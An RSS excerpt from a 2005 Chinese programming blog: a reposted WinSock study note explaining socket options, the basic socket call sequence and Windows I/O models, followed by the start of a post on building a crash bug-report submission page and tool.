&lt;p&gt;1、 属性内容：&lt;br&gt;//允许调试输出&lt;br&gt;#define SO_DEBUG 0x0001 /* turn on debugging info recording */&lt;br&gt;//是否监听模式&lt;br&gt;#define SO_ACCEPTCONN 0x0002 /* socket has had listen() */&lt;br&gt;//套接字与其他套接字的地址绑定&lt;br&gt;#define SO_REUSEADDR 0x0004 /* allow local address reuse */&lt;br&gt;//保持连接&lt;br&gt;#define SO_KEEPALIVE 0x0008 /* keep connections alive */&lt;br&gt;//不要路由出去&lt;br&gt;#define SO_DONTROUTE 0x0010 /* just use interface addresses */&lt;br&gt;//设置为广播&lt;br&gt;#define SO_BROADCAST 0x0020 /* permit sending of broadcast msgs */&lt;br&gt;//使用环回不通过硬件&lt;br&gt;#define SO_USELOOPBACK 0x0040 /* bypass hardware when possible */&lt;br&gt;//当前拖延值&lt;br&gt;#define SO_LINGER 0x0080 /* linger on close if data present */&lt;br&gt;//是否加入带外数据&lt;br&gt;#define SO_OOBINLINE 0x0100 /* leave received OOB data in line */&lt;br&gt;//禁用LINGER选项&lt;br&gt;#define SO_DONTLINGER (int)(~SO_LINGER)&lt;br&gt;//发送缓冲区长度&lt;br&gt;#define SO_SNDBUF 0x1001 /* send buffer size */&lt;br&gt;//接收缓冲区长度&lt;br&gt;#define SO_RCVBUF 0x1002 /* receive buffer size */&lt;br&gt;//发送超时时间&lt;br&gt;#define SO_SNDTIMEO 0x1005 /* send timeout */&lt;br&gt;//接收超时时间&lt;br&gt;#define SO_RCVTIMEO 0x1006 /* receive timeout */&lt;br&gt;//错误状态&lt;br&gt;#define SO_ERROR 0x1007 /* get error status and clear */&lt;br&gt;//套接字类型&lt;br&gt;#define SO_TYPE 0x1008 /* get socket type */
&lt;p&gt;2、 读取socket属性：&lt;br&gt;int getsockopt(SOCKET s, int level, int optname, char FAR * optval, int FAR * optlen)&lt;br&gt;s为欲读取属性的套接字。level为套接字选项的级别，大多数是特定协议和套接字专有的。如IP协议应为 IPPROTO_IP。
&lt;p&gt;optname为读取选项的名称&lt;br&gt;optval为存放选项值的缓冲区指针。&lt;br&gt;optlen为缓冲区的长度&lt;br&gt;用法：&lt;br&gt;int ttl=0; //读取TTL值&lt;br&gt;int rc = getsockopt( s, IPPROTO_IP, IP_TTL, (char *)&amp;amp;ttl, sizeof(ttl));&lt;br&gt;//来自MS platform SDK 2003
&lt;p&gt;3、 设置socket属性：&lt;br&gt;int setsockopt(SOCKET s,int level, int optname,const char FAR * optval, int optlen)&lt;br&gt;s为欲设置属性的套接字。&lt;br&gt;level为套接字选项的级别，用法同上。&lt;br&gt;optname为设置选项的名称&lt;br&gt;optval为存放选项值的缓冲区指针。&lt;br&gt;optlen为缓冲区的长度
&lt;p&gt;用法：&lt;br&gt;int ttl=32; //设置TTL值&lt;br&gt;int rc = setsockopt( s, IPPROTO_IP, IP_TTL, (char *)&amp;amp;ttl, sizeof(ttl));
&lt;p&gt;套接字的使用步骤
&lt;p&gt;1、启动Winsock：对Winsock DLL进行初始化，协商Winsock的版本支持并分配必要的&lt;br&gt;资源。（服务器端和客户端）&lt;br&gt;int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData )&lt;br&gt;wVersionRequested为打算加载Winsock的版本，一般如下设置：&lt;br&gt;wVersionRequested=MAKEWORD(2,0)&lt;br&gt;或者直接赋值：wVersionRequested=2
&lt;p&gt;LPWSADATA为初始化Socket后加载的版本的信息,定义如下：&lt;br&gt;typedef struct WSAData {&lt;br&gt; WORD wVersion;&lt;br&gt; WORD wHighVersion;&lt;br&gt; char szDescription[WSADESCRIPTION_LEN+1];&lt;br&gt; char szSystemStatus[WSASYS_STATUS_LEN+1];&lt;br&gt; unsigned short iMaxSockets;&lt;br&gt; unsigned short iMaxUdpDg;&lt;br&gt; char FAR * lpVendorInfo;&lt;br&gt; } WSADATA, FAR * LPWSADATA;&lt;br&gt;如果加载成功后数据为：
&lt;p&gt;wVersion＝2 表示加载版本为2.0。&lt;br&gt;wHighVersion＝514 表示当前系统支持socket最高版本为2.2。&lt;br&gt;szDescription=&amp;quot;WinSock 2.0&amp;quot;&lt;br&gt;szSystemStatus=&amp;quot;Running&amp;quot; 表示正在运行。&lt;br&gt;iMaxSockets＝0 表示同时打开的socket最大数，为0表示没有限制。&lt;br&gt;iMaxUdpDg＝0 表示同时打开的数据报最大数，为0表示没有限制。&lt;br&gt;lpVendorInfo 没有使用，为厂商指定信息预留。
&lt;p&gt;该函数使用方法：&lt;br&gt;WORD wVersion=MAKEWORD(2,0);&lt;br&gt;WSADATA wsData;&lt;br&gt;int nResult= WSAStartup(wVersion,&amp;amp;wsData);&lt;br&gt;if(nResult !=0)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;2、创建套接字：（服务器端和客户端）&lt;br&gt;SOCKET socket( int af, int type, int protocol );&lt;br&gt;af为网络地址类型，一般为AF_INET，表示在Internet域中使用。&lt;br&gt;type为套接字类型，前面已经介绍了。&lt;br&gt;protocol为指定网络协议，一般为IPPROTO_IP。&lt;br&gt;用法：&lt;br&gt;SOCKET sock=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);&lt;br&gt;if(sock==INVALID_SOCKET)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;3、套接字的绑定：将本地地址绑定到所创建的套接字上。（服务器端和客户端）&lt;br&gt;int bind( SOCKET s, const struct sockaddr FAR * name, int namelen )&lt;br&gt;s为已经创建的套接字。&lt;br&gt;name为socket地址结构，为sockaddr结构，如前面讨论的，我们一般使用sockaddr_in&lt;br&gt;结构，在使用再强制转换为sockaddr结构。&lt;br&gt;namelen为地址结构的长度。
&lt;p&gt;用法：&lt;br&gt;sockaddr_in addr;&lt;br&gt;addr. sin_family=AF_INET;&lt;br&gt;addr. sin_port= htons(0); //保证字节顺序&lt;br&gt;addr. sin_addr.s_addr= inet_addr(&amp;quot;192.1.8.84&amp;quot;)&lt;br&gt;int nResult=bind(s,(sockaddr*)&amp;amp;addr,sizeof(sockaddr));&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;4、 套接字的监听：（服务器端）&lt;br&gt;int listen(SOCKET s, int backlog )&lt;br&gt;s为一个已绑定但未联接的套接字。&lt;br&gt;backlog为指定正在等待联接的最大队列长度，这个参数非常重要，因为服务器一般可&lt;br&gt;以提供多个连接。&lt;br&gt;用法：&lt;br&gt;int nResult=listen(s,5) //最多5个连接&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;5、套接字等待连接:：（服务器端）&lt;br&gt;SOCKET accept( SOCKET s, struct sockaddr FAR * addr, int FAR * addrlen )&lt;br&gt;s为处于监听模式的套接字。&lt;br&gt;sockaddr为接收成功后返回客户端的网络地址。&lt;br&gt;addrlen为网络地址的长度。
&lt;p&gt;用法：&lt;br&gt;sockaddr_in addr;&lt;br&gt;SOCKET s_d=accept(s,(sockaddr*)&amp;amp;addr,sizeof(sockaddr));&lt;br&gt;if(s==INVALID_SOCKET)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;6、套接字的连结：将两个套接字连结起来准备通信。（客户端）&lt;br&gt;int connect(SOCKET s, const struct sockaddr FAR * name, int namelen )&lt;br&gt;s为欲连结的已创建的套接字。&lt;br&gt;name为欲连结的socket地址。&lt;br&gt;namelen为socket地址的结构的长度。
&lt;p&gt;用法：&lt;br&gt;sockaddr_in addr;&lt;br&gt;addr. sin_family=AF_INET;&lt;br&gt;addr. sin_port=htons(0); //保证字节顺序&lt;br&gt;addr. sin_addr.s_addr= htonl(INADDR_ANY) //保证字节顺序&lt;br&gt;int nResult=connect(s,(sockaddr*)&amp;amp;addr,sizeof(sockaddr));&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;7、套接字发送数据：（服务器端和客户端）&lt;br&gt;int send(SOCKET s, const char FAR * buf, int len, int flags )&lt;br&gt;s为服务器端监听的套接字。&lt;br&gt;buf为欲发送数据缓冲区的指针。&lt;br&gt;len为发送数据缓冲区的长度。&lt;br&gt;flags为数据发送标记。&lt;br&gt;返回值为发送数据的字符数。
&lt;p&gt;◆这里讲一下这个发送标记，下面8中讨论的接收标记也一样：
&lt;p&gt;flag取值必须为0或者如下定义的组合：0表示没有特殊行为。&lt;br&gt;#define MSG_OOB 0x1 /* process out-of-band data */&lt;br&gt;#define MSG_PEEK 0x2 /* peek at incoming message */&lt;br&gt;#define MSG_DONTROUTE 0x4 /* send without using routing tables */&lt;br&gt;MSG_OOB表示数据应该带外发送，所谓带外数据就是TCP紧急数据。&lt;br&gt;MSG_PEEK表示使有用的数据复制到缓冲区内，但并不从系统缓冲区内删除。&lt;br&gt;MSG_DONTROUTE表示不要将包路由出去。
&lt;p&gt;用法：&lt;br&gt;char buf[]=&amp;quot;xiaojin&amp;quot;;&lt;br&gt;int nResult=send(s,buf,strlen(buf));&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;8、 套接字的数据接收：（客户端）&lt;br&gt;int recv( SOCKET s, char FAR * buf, int len, int flags )&lt;br&gt;s为准备接收数据的套接字。&lt;br&gt;buf为准备接收数据的缓冲区。&lt;br&gt;len为准备接收数据缓冲区的大小。&lt;br&gt;flags为数据接收标记。&lt;br&gt;返回值为接收的数据的字符数。
&lt;p&gt;用法：&lt;br&gt;char mess[1000];&lt;br&gt;int nResult =recv(s,mess,1000,0);&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;9、中断套接字连接：通知服务器端或客户端停止接收和发送数据。（服务器端和客户端）&lt;br&gt;int shutdown(SOCKET s, int how)&lt;br&gt;s为欲中断连接的套接字。&lt;br&gt;How为描述禁止哪些操作，取值为：SD_RECEIVE、SD_SEND、SD_BOTH。&lt;br&gt;#define SD_RECEIVE 0x00&lt;br&gt;#define SD_SEND 0x01&lt;br&gt;#define SD_BOTH 0x02&lt;br&gt;用法：&lt;br&gt;int nResult= shutdown(s,SD_BOTH);&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;10、 关闭套接字：释放所占有的资源。（服务器端和客户端）&lt;br&gt;int closesocket( SOCKET s )&lt;br&gt;s为欲关闭的套接字。
&lt;p&gt;用法：&lt;br&gt;int nResult=closesocket(s);&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;//错误处理&lt;br&gt;}
&lt;p&gt;与socket有关的一些函数介绍
&lt;p&gt;1、读取当前错误值：每次发生错误时，如果要对具体问题进行处理，那么就应该调用这个函数取得错误代码。 &lt;br&gt; int WSAGetLastError(void );&lt;br&gt; #define h_errno WSAGetLastError()&lt;br&gt;错误值请自己阅读Winsock2.h。
&lt;p&gt;2、将主机的unsigned long值转换为网络字节顺序(32位)：为什么要这样做呢？因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。&lt;br&gt; &lt;br&gt; u_long htonl(u_long hostlong);&lt;br&gt; 举例：htonl(0)=0&lt;br&gt; htonl(80)= 1342177280
&lt;p&gt;3、将unsigned long数从网络字节顺序转换位主机字节顺序，是上面函数的逆函数。 &lt;br&gt; &lt;br&gt; u_long ntohl(u_long netlong);&lt;br&gt; 举例：ntohl(0)=0&lt;br&gt; ntohl(1342177280)= 80
&lt;p&gt;4、将主机的unsigned short值转换为网络字节顺序(16位)：原因同2： &lt;br&gt; &lt;br&gt; u_short htons(u_short hostshort);&lt;br&gt; 举例：htonl(0)=0&lt;br&gt; htonl(80)= 20480
&lt;p&gt;5、将unsigned short数从网络字节顺序转换位主机字节顺序，是上面函数的逆函数。 &lt;br&gt; u_short ntohs(u_short netshort);&lt;br&gt; 举例：ntohs(0)=0&lt;br&gt; ntohsl(20480)= 80
&lt;p&gt;6、将用点分割的IP地址转换位一个in_addr结构的地址，这个结构的定义见笔记(一)，实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。 &lt;br&gt; unsigned long inet_addr( const char FAR * cp );&lt;br&gt; 举例：inet_addr(&amp;quot;192.1.8.84&amp;quot;)=1409810880&lt;br&gt; inet_addr(&amp;quot;127.0.0.1&amp;quot;)= 16777343&lt;br&gt;如果发生错误，函数返回INADDR_NONE值。
&lt;p&gt;7、将网络地址转换位用点分割的IP地址，是上面函数的逆函数。 &lt;br&gt; char FAR * inet_ntoa( struct in_addr in );&lt;br&gt; 举例：char * ipaddr=NULL;&lt;br&gt; char addr[20];&lt;br&gt; in_addr inaddr;&lt;br&gt; inaddr. s_addr=16777343;&lt;br&gt; ipaddr= inet_ntoa(inaddr);&lt;br&gt; strcpy(addr,ipaddr); &lt;br&gt;这样addr的值就变为127.0.0.1。&lt;br&gt;注意意不要修改返回值或者进行释放动作。如果函数失败就会返回NULL值。
&lt;p&gt;8、获取套接字的本地地址结构： &lt;br&gt; &lt;br&gt; int getsockname(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );&lt;br&gt;s为套接字&lt;br&gt;name为函数调用后获得的地址值&lt;br&gt;namelen为缓冲区的大小。
&lt;p&gt;9、获取与套接字相连的端地址结构：&lt;br&gt; int getpeername(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );&lt;br&gt;s为套接字&lt;br&gt;name为函数调用后获得的端地址值&lt;br&gt;namelen为缓冲区的大小。
&lt;p&gt;10、获取计算机名：&lt;br&gt; int gethostname( char FAR * name, int namelen );&lt;br&gt;name是存放计算机名的缓冲区&lt;br&gt;namelen是缓冲区的大小&lt;br&gt;用法：&lt;br&gt; char szName[255];&lt;br&gt; memset(szName,0,255);&lt;br&gt; if(gethostname(szName,255)==SOCKET_ERROR)&lt;br&gt; {&lt;br&gt;     //错误处理&lt;br&gt; }&lt;br&gt;返回值为：szNmae=&amp;quot;xiaojin&amp;quot;
&lt;p&gt;11、根据计算机名获取主机地址： &lt;br&gt; struct hostent FAR * gethostbyname( const char FAR * name );&lt;br&gt;name为计算机名。&lt;br&gt;用法：&lt;br&gt; hostent * host;&lt;br&gt; char* ip;&lt;br&gt; host= gethostbyname(&amp;quot;xiaojin&amp;quot;);&lt;br&gt; if(host-&amp;gt;h_addr_list[0])&lt;br&gt; {&lt;br&gt;   struct in_addr addr;&lt;br&gt;    memmove(&amp;amp;addr, host-&amp;gt;h_addr_list[0]，4);&lt;br&gt;   //获得标准IP地址&lt;br&gt;   ip=inet_ ntoa (addr);&lt;br&gt; }
&lt;p&gt;返回值为：hostent-&amp;gt;h_name=&amp;quot;xiaojin&amp;quot;&lt;br&gt;hostent-&amp;gt;h_addrtype=2 //AF_INET&lt;br&gt;hostent-&amp;gt;length=4&lt;br&gt;ip=&amp;quot;127.0.0.1&amp;quot;
&lt;p&gt;Winsock 的I/O操作：
&lt;p&gt;1、 两种I/O模式 &lt;br&gt;阻塞模式：执行I/O操作完成前会一直进行等待，不会将控制权交给程序。套接字 默认为阻塞模式。可以通过多线程技术进行处理。 &lt;br&gt;非阻塞模式：执行I/O操作时，Winsock函数会返回并交出控制权。这种模式使用 起来比较复杂，因为函数在没有运行完成就进行返回，会不断地返回 WSAEWOULDBLOCK错误。但功能强大。&lt;br&gt;为了解决这个问题，提出了进行I/O操作的一些I/O模型,下面介绍最常见的三种：
&lt;p&gt;2、select模型：
&lt;p&gt;　　通过调用select函数可以确定一个或多个套接字的状态，判断套接字上是否有数据，或&lt;br&gt;者能否向一个套接字写入数据。 &lt;br&gt;int select( int nfds, fd_set FAR * readfds, fd_set FAR * writefds, &lt;br&gt; fd_set FAR *exceptfds, const struct timeval FAR * timeout );
&lt;p&gt;◆先来看看涉及到的结构的定义：&lt;br&gt;a、 d_set结构：&lt;br&gt;#define FD_SETSIZE 64?&lt;br&gt;typedef struct fd_set {&lt;br&gt; u_int fd_count; /* how many are SET? */&lt;br&gt; SOCKET fd_array[FD_SETSIZE]; /* an array of SOCKETs */&lt;br&gt; } fd_set;
&lt;p&gt;fd_count为已设定socket的数量&lt;br&gt;fd_array为socket列表，FD_SETSIZE为最大socket数量，建议不小于64。这是微软建&lt;br&gt;议的。
&lt;p&gt;B、timeval结构： &lt;br&gt;struct timeval {&lt;br&gt; long tv_sec; /* seconds */&lt;br&gt; long tv_usec; /* and microseconds */&lt;br&gt; };&lt;br&gt;tv_sec为时间的秒值。&lt;br&gt;tv_usec为时间的毫秒值。&lt;br&gt;这个结构主要是设置select()函数的等待值，如果将该结构设置为(0,0)，则select()函数&lt;br&gt;会立即返回。
&lt;p&gt;◆再来看看select函数各参数的作用： &lt;br&gt;nfds：没有任何用处，主要用来进行系统兼容用，一般设置为0。
&lt;p&gt;readfds：等待可读性检查的套接字组。
&lt;p&gt;writefds；等待可写性检查的套接字组。
&lt;p&gt;exceptfds：等待错误检查的套接字组。
&lt;p&gt;timeout：超时时间。
&lt;p&gt;函数失败的返回值：&lt;br&gt;调用失败返回SOCKET_ERROR,超时返回0。&lt;br&gt;readfds、writefds、exceptfds三个变量至少有一个不为空，同时这个不为空的套接字组&lt;br&gt;种至少有一个socket，道理很简单，否则要select干什么呢。 
&lt;p&gt;举例：测试一个套接字是否可读：&lt;br&gt;fd_set fdread;&lt;br&gt;//FD_ZERO定义&lt;br&gt;// #define FD_ZERO(set) (((fd_set FAR *)(set))-&amp;gt;fd_count=0)&lt;br&gt;FD_ZERO(&amp;amp;fdread);&lt;br&gt;FD_SET(s,&amp;amp;fdread)； //加入套接字，详细定义请看winsock2.h&lt;br&gt;if(select(0,%fdread,NULL,NULL,NULL)&amp;gt;0&lt;br&gt;{&lt;br&gt;  //成功&lt;br&gt;  if(FD_ISSET(s,&amp;amp;fread) //是否存在fread中，详细定义请看winsock2.h&lt;br&gt;  {&lt;br&gt;    //是可读的&lt;br&gt;  }&lt;br&gt;}
&lt;p&gt;◆I/O操作函数：主要用于获取与套接字相关的操作参数。 &lt;br&gt; int ioctlsocket(SOCKET s, long cmd, u_long FAR * argp ); &lt;br&gt;s为I/O操作的套接字。&lt;br&gt;cmd为对套接字的操作命令。&lt;br&gt;argp为命令所带参数的指针。
&lt;p&gt;常见的命令： //确定套接字自动读入的数据量&lt;br&gt;#define FIONREAD _IOR(''''f'''', 127, u_long) /* get # bytes to read */&lt;br&gt;//允许或禁止套接字的非阻塞模式，允许为非0，禁止为0&lt;br&gt;#define FIONBIO _IOW(''''f'''', 126, u_long) /* set/clear non-blocking i/o */&lt;br&gt;//确定是否所有带外数据都已被读入&lt;br&gt;#define SIOCATMARK _IOR(''''s'''', 7, u_long) /* at oob mark? */
&lt;p&gt;3、WSAAsynSelect模型：&lt;br&gt;WSAAsynSelect模型也是一个常用的异步I/O模型。应用程序可以在一个套接字上接收以&lt;br&gt;WINDOWS消息为基础的网络事件通知。该模型的实现方法是通过调用WSAAsynSelect函&lt;br&gt;数 自动将套接字设置为非阻塞模式，并向WINDOWS注册一个或多个网络时间，并提供一&lt;br&gt;个通知时使用的窗口句柄。当注册的事件发生时，对应的窗口将收到一个基于消息的通知。&lt;br&gt; int WSAAsyncSelect( SOCKET s, HWND hWnd, u_int wMsg, long lEvent); &lt;br&gt;s为需要事件通知的套接字&lt;br&gt;hWnd为接收消息的窗口句柄&lt;br&gt;wMsg为要接收的消息&lt;br&gt;lEvent为掩码，指定应用程序感兴趣的网络事件组合，主要如下： &lt;br&gt;#define FD_READ_BIT 0&lt;br&gt;#define FD_READ (1 &amp;lt;&amp;lt; FD_READ_BIT)&lt;br&gt;#define FD_WRITE_BIT 1&lt;br&gt;#define FD_WRITE (1 &amp;lt;&amp;lt; FD_WRITE_BIT)&lt;br&gt;#define FD_OOB_BIT 2&lt;br&gt;#define FD_OOB (1 &amp;lt;&amp;lt; FD_OOB_BIT)&lt;br&gt;#define FD_ACCEPT_BIT 3&lt;br&gt;#define FD_ACCEPT (1 &amp;lt;&amp;lt; FD_ACCEPT_BIT)&lt;br&gt;#define FD_CONNECT_BIT 4&lt;br&gt;#define FD_CONNECT (1 &amp;lt;&amp;lt; FD_CONNECT_BIT)&lt;br&gt;#define FD_CLOSE_BIT 5&lt;br&gt;#define FD_CLOSE (1 &amp;lt;&amp;lt; FD_CLOSE_BIT)&lt;br&gt;用法：要接收读写通知：&lt;br&gt;int nResult= WSAAsyncSelect(s,hWnd,wMsg,FD_READ|FD_WRITE)；&lt;br&gt;if(nResult==SOCKET_ERROR)&lt;br&gt;{&lt;br&gt;  //错误处理&lt;br&gt;}&lt;br&gt;取消通知：&lt;br&gt; int nResult= WSAAsyncSelect(s,hWnd,0，0)； &lt;br&gt;当应用程序窗口hWnd收到消息时，wMsg.wParam参数标识了套接字，lParam的低字标明&lt;br&gt;了网络事件，高字则包含错误代码。
&lt;p&gt;4、WSAEventSelect模型&lt;br&gt;WSAEventSelect模型类似WSAAsynSelect模型，但最主要的区别是网络事件发生时会被发&lt;br&gt;送到一个事件对象句柄，而不是发送到一个窗口。
&lt;p&gt;使用步骤如下：&lt;br&gt;a、 创建事件对象来接收网络事件：&lt;br&gt;#define WSAEVENT HANDLE&lt;br&gt;#define LPWSAEVENT LPHANDLE&lt;br&gt;WSAEVENT WSACreateEvent( void );&lt;br&gt;该函数的返回值为一个事件对象句柄，它具有两种工作状态：已传信(signaled)和未传信&lt;br&gt;(nonsignaled)以及两种工作模式：人工重设(manual reset)和自动重设(auto reset)。默认未&lt;br&gt;未传信的工作状态和人工重设模式。
&lt;p&gt;b、将事件对象与套接字关联，同时注册事件，使事件对象的工作状态从未传信转变未&lt;br&gt;已传信。&lt;br&gt; int WSAEventSelect( SOCKET s,WSAEVENT hEventObject,long lNetworkEvents ); &lt;br&gt;s为套接字&lt;br&gt;hEventObject为刚才创建的事件对象句柄&lt;br&gt;lNetworkEvents为掩码，定义如上面所述
&lt;p&gt;c、I/O处理后，设置事件对象为未传信&lt;br&gt;BOOL WSAResetEvent( WSAEVENT hEvent );&lt;br&gt;Hevent为事件对象
&lt;p&gt;成功返回TRUE，失败返回FALSE。
&lt;p&gt;d、等待网络事件来触发事件句柄的工作状态：&lt;br&gt;DWORD WSAWaitForMultipleEvents( DWORD cEvents,&lt;br&gt;const WSAEVENT FAR * lphEvents, BOOL fWaitAll,&lt;br&gt;DWORD dwTimeout, BOOL fAlertable );&lt;br&gt;lpEvent为事件句柄数组的指针&lt;br&gt;cEvent为为事件句柄的数目，其最大值为WSA_MAXIMUM_WAIT_EVENTS &lt;br&gt;fWaitAll指定等待类型：TRUE：当lphEvent数组重所有事件对象同时有信号时返回；&lt;br&gt;FALSE：任一事件有信号就返回。&lt;br&gt;dwTimeout为等待超时（毫秒）&lt;br&gt;fAlertable为指定函数返回时是否执行完成例程
&lt;p&gt;对事件数组中的事件进行引用时，应该用WSAWaitForMultipleEvents的返回值，减去&lt;br&gt;预声明值WSA_WAIT_EVENT_0，得到具体的引用值。例如：&lt;br&gt;nIndex=WSAWaitForMultipleEvents(…);&lt;br&gt;MyEvent=EventArray[Index- WSA_WAIT_EVENT_0];
&lt;p&gt;e、判断网络事件类型：&lt;br&gt;int WSAEnumNetworkEvents( SOCKET s,&lt;br&gt;WSAEVENT hEventObject, LPWSANETWORKEVENTS lpNetworkEvents );&lt;br&gt;s为套接字&lt;br&gt;hEventObject为需要重设的事件对象&lt;br&gt;lpNetworkEvents为记录网络事件和错误代码，其结构定义如下：&lt;br&gt;typedef struct _WSANETWORKEVENTS {&lt;br&gt;  long lNetworkEvents;&lt;br&gt;  int iErrorCode[FD_MAX_EVENTS];&lt;br&gt;} WSANETWORKEVENTS, FAR * LPWSANETWORKEVENTS;
&lt;p&gt;f、关闭事件对象句柄：&lt;br&gt;BOOL WSACloseEvent(WSAEVENT hEvent);&lt;br&gt;调用成功返回TRUE，否则返回FALSE。 
&lt;p&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt;
&lt;div&gt;&lt;/div&gt;&lt;img src="http://c.services.spaces.live.com/CollectionWebService/c.gif?cid=-8189920746979949719&amp;page=RSS%3a+WinSock%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0(%e8%bd%ac%e8%bd%bd)&amp;referrer=" width="1px" height="1px" border="0" alt=""&gt;&lt;img style="position:absolute" alt="" width="0px" height="0px" src="http://c.live.com/c.gif?NC=31263&amp;amp;NA=1149&amp;amp;PI=73329&amp;amp;RF=&amp;amp;DI=3919&amp;amp;PS=85545&amp;amp;TP=flipcode.spaces.live.com&amp;amp;GT1=flipcode"&gt;</description><comments>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!136.entry#comment</comments><guid isPermaLink="true">http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!136.entry</guid><pubDate>Fri, 25 Nov 2005 03:36:36 GMT</pubDate><slash:comments>0</slash:comments><msn:type>blogentry</msn:type><live:type>blogentry</live:type><live:typelabel>Blog entry</live:typelabel><wfw:commentRss>http://flipcode.spaces.live.com/blog/cns!8E578E7901A88369!136/comments/feed.rss</wfw:commentRss><wfw:comment>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!136.entry#comment</wfw:comment><dcterms:modified>2005-11-27T05:21:37Z</dcterms:modified></item><item><title>bugreport</title><link>http://flipcode.spaces.live.com/Blog/cns!8E578E7901A88369!128.entry</link><description>&lt;div&gt;
&lt;div&gt;&lt;br&gt;//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;br&gt;//                          flipcode@msn.com&lt;br&gt;//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;br&gt;有没有发现一些程序在出错时会弹出一个输入框供提交bug?&lt;br&gt;当你的程序公开使用后必然会出现各种不可预料的错误，如果能捕获并由用户提交回&lt;br&gt;来就非常有利于我们的除错。&lt;br&gt;这其实非常简单，下面我们先说一下大致流程，再给出一个bug提交可运作的实例&lt;br&gt;(这里提供网页提交及程序提交两种处理方法):&lt;br&gt;流程：&lt;br&gt;  a. 程序中在可能出错的地方使用异常处理, 在发布版本中打开异常捕获(自己的调试&lt;br&gt;     版本可以不打开，以免调试不便)。 
&lt;p&gt;
&lt;p&gt;  b. 当程序出错被捕获时弹出bug提交对话框,确定后调用bugreport把出错信息&lt;br&gt;     (如:__FILE__,__LINE__)和当时相关环境信息及用户输入文本并发送出去。
&lt;p&gt;  c. 当发送失败时, 将信息累积保存下来供下次出现时一起提交或是由用户手&lt;br&gt;     动调用bugreport.exe发送或是拷贝到官方网页上直接发送。
&lt;p&gt;具体步骤如下：&lt;br&gt;一.建设站点(这里我们在自己同一台机上创建作测试):&lt;br&gt;  1. 安装个人网站服务:&lt;br&gt;     如果没安装&amp;quot;internet信息服务IIS&amp;quot;就先安装：&lt;br&gt;     在winxp/nt上安装可打开控面板--添加删除/程序--添加删除windows程序--&lt;br&gt;     internet信息服务IIS&amp;quot;---下一步到完成.(中途可能要插入系统安装盘)&lt;br&gt;     在win98上安装则要自己找Personal Web Server安装程序来装(这个只有完整的98安装盘上有带)&lt;br&gt;     注：缺省成功安装后有这样的目录:  C:\Inetpub\wwwroot。&lt;br&gt;  2. 激活个人网站服务:&lt;br&gt;     在控件面板中打开&amp;quot;internet信息服务&amp;quot;,双击internet信息服务下面的一项，右击&amp;quot;默认的web站点&amp;quot;&lt;br&gt;     选&amp;quot;启动&amp;quot;
&lt;p&gt;二.制作上传工具(具体内容付带后面):&lt;br&gt;  1. 网页提交: 该网页放服务端虚拟目录下供浏览, 如: c:\Inetpub\wwwroot\bugreport.htm
&lt;p&gt;  2. 程序提交: 该程序放客户端供运行, 如: c:\bugreport.exe
&lt;p&gt;三.网站接收程序(具体内容付带后面):&lt;br&gt;  C:\Inetpub\wwwroot\readbug.asp&lt;br&gt;四.异常捕捉(此处只作大概说明,具体留给你自己实作)&lt;br&gt;  try&lt;br&gt;  {&lt;br&gt;  }&lt;br&gt;  catch(...)&lt;br&gt;  {&lt;br&gt;      Sav_BugInfo( __FILE__, __LINE__, &amp;quot;void test()&amp;quot; );&lt;br&gt;  }&lt;br&gt;  或是把try、catch定义成两个宏方便点。同时我们应该自己定义一个assert&lt;br&gt;  宏，当断言不成立时同样保存相关信息再抛出，以便上一层&lt;br&gt; (如果有的话)接住再抛, 这样就可以把相关堆栈信息保存下来。
&lt;p&gt;五.bug提交&lt;br&gt;  1. 在开始-运行-输入cmd回车进入虚拟dos下打ipconfig看看ip地址(假设是:192.168.4.25)&lt;br&gt;  2. 在ie下输入&lt;a href="http://192.168.4.25/bugreport.htm"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;http://192.168.4.25/bugreport.htm&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;回车即可看到一文本框，输入信息点确定。&lt;br&gt;     此时再打开&lt;br&gt;  3. c:\bugreport.exe
